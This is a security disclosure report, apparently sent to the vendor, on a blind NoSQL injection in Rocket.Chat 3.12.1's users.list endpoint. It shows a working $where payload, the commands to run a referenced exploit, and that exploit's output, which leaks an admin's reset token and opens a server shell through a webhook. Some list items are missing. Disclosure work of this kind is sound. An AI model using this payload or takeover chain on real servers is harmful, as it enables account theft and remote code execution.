Summary:
The users.list
API endpoint is vulnerable to NoSQL injection attacks. It can be used to take over accounts by leaking password reset tokens and 2FA secrets. Taking over an admin account leads to Remote Code Execution.
Description:
The users.list
API endpoint takes a custom query via the query
URL query parameter. Although the returned fields are restricted, the query is not validated or sanitized properly and can thus be used to perform a blind NoSQL injection that can leak any field’s value of any document in the users
collection.
By using MongoDB’s $where
operator, an attacker can build arbitrary oracles that can leak the value of any field of any user document. The query can be tailored to leak only the values of a specific account which makes it easy to target an admin account. Most notably an attacker can leak password reset tokens and 2FA secrets.
Example: in order to check if the password reset token of an admin user begins with a specific letter, e.g. A
, the attacker would send the JSON object {"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}
as the query
parameter. The response contains the matching admin user when the guess was correct, or no users otherwise. This can be repeated for all possible characters and for each position in the token, until the whole token is known. See the users_nosqli_blind_leak
function in the attached exploit for an implementation of this.
In order to take over another account, an attacker would perform the following high-level steps:
To gain Remote Code Execution capabilities on the server, an attacker can follow these steps to take over an admin account. The attacker can then use the newly gained admin privileges to create an incoming web hook that has a script. This allows them to execute commands or get a shell on the server, because the script is executed on the server without a security boundary in place (which seems to be intended).
The vulnerable code can be found here: users.js:230
See post_auth_nosqli.py
for a reference exploit and the attached video for a demonstration of it.
pip3 install requests bcrypt
git clone [email protected]:RocketChat/Rocket.Chat.git
cd Rocket.Chat
git checkout tags/3.12.1
docker-compose up -d
attacker
and password attacker
python3 post_auth_nosqli.py -u attacker -p attacker 'http://localhost:3000'
whoami
The attached proof-of-concept video shows the setup and exploitation of a fresh Rocket.Chat instance.
Please note: The unsuccessful login at the end of the video does not mean that the exploit did not work, it just shows that the original admin password was restored (as stated in the exploits output). The exploit was successful, which can be seen by the output of the shell commands at the end of the exploit.
This is the exploit’s output:
___ ___ _ __ __ _ _ __ ___ ___ _ _ _ __ ___ ___
/ __|/ _ \| '_ \ / _` | '__/ __|/ _ \| | | | '__/ __/ _ \
\__ \ (_) | | | | (_| | | \__ \ (_) | |_| | | | (_| __/
|___/\___/|_| |_|\__,_|_| |___/\___/ \__,_|_| \___\___|
[+] Found admin: username=admin id=56gyPQKt8Ff3Weowk
[*] Leaking email...
[+] Leaked email: [email protected]
[*] Leaking password hash...
[+] Leaked password hash: $2b$10$ubhEIM/j6qLFNINHVbP.B.CJFCXagK7V5zD0Q8BYzs6UBlbBpiECa
[+] Requesting password reset...
[*] Leaking password reset token...
[+] Leaked password reset token: ET4sx905cF9pTZOsHFu6eRad7MwpYmqs-iTMWQIXAhv
[+] Resetting password to "DEbCf2b0A2BE79bBcDf1"...
[+] Admin account takeover successful!
[+] Creating hook "backdoor-9Fbd6E5A" with secret "AbE217B9d9e7Dd0CB2EB8dd30d26edfe"...
[*] Hook: 7bgxdkGHQYdBwtHWA/2S3EGB2ywWHM3aeYKu2q7akGF6TEjXEKMGK2Smggw7LpSLHc
[+] Restoring admin password...
[+] Dropping into shell:
$ whoami
rocketchat
$ id
uid=65533(rocketchat) gid=65533(rocketchat) groups=65533(rocketchat)
$
query
parameter:
$where
parseJsonQuery()
function for similar vulnerabilitiesAll reported issues are subject to a 90 day disclosure deadline.
After 90 days elapse, parts of the bug report will become visible to the public.
Don’t hesitate to ask if you have any questions or need further help with this issue.
An attacker can use this vulnerability to target an admin user and take over their account, which is already a high impact. The attacker can then use certain features that are available to admins in order to gain Remote Code Execution capabilities. This is demonstrated in the reference exploit by creating an incoming web hook that executes the attacker’s payload in the context of the server process.
This gives them complete control over the Rocket.Chat instance and exposes all attached components, e.g. the database or any external system whose credentials are stored within Rocket.Chat settings. An attacker can read, change, or delete all items in the database, impacting confidentiality, integrity, and availability.